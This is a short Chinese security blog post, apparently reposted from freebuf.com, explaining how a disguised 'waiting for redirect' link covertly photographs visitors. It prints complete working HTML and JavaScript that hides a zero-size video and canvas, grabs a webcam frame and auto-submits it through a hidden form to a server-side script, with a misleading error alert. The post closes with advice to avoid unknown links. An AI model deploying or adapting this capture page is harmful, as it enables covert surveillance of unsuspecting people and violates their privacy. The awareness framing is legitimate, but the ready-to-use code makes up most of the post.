一、起因
看到开发群里说了一个奇葩的事,就是打开一个链接,会调用摄像头,然后自拍,传到服务端。一不小心素颜照都被偷拍了。
二、实现原理
使用https,可信协议。向浏览器请求摄像头敏感操作。通过ajax或跳转、前端渲染等方式传输到服务器并保存。先看前端代码。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>等待跳转...</title> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <script type="text/javascript"> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){alert("操作失败,权限不够!请联系管理员 QQ");}); } }, false); </script> <form action="qbl.php?id=&url=" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> </form> </body> </html>
从前端来看,访问该页面,会调用摄像头获取一个480*640的大小的照片,并通过post传到qbl.php进行保存。在https协议下打开,会提示获取摄像头请求、http不会。
但是,在一些安卓手机不会提示,直接拍照,一脸懵逼,然后弹出自己素颜照片。就像开头那个哥们~。但是有时候手贱~就点了,也有些比较单纯的小女生,提示了,还是会点的。
三、总结
建议陌生链接,不要点开。如果确实要点开,复制到微信,或者电脑打开。同时观察是否提示敏感操作。
来源:freebuf.com 2021-04-07 17:22:00 by: Yudayhack
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册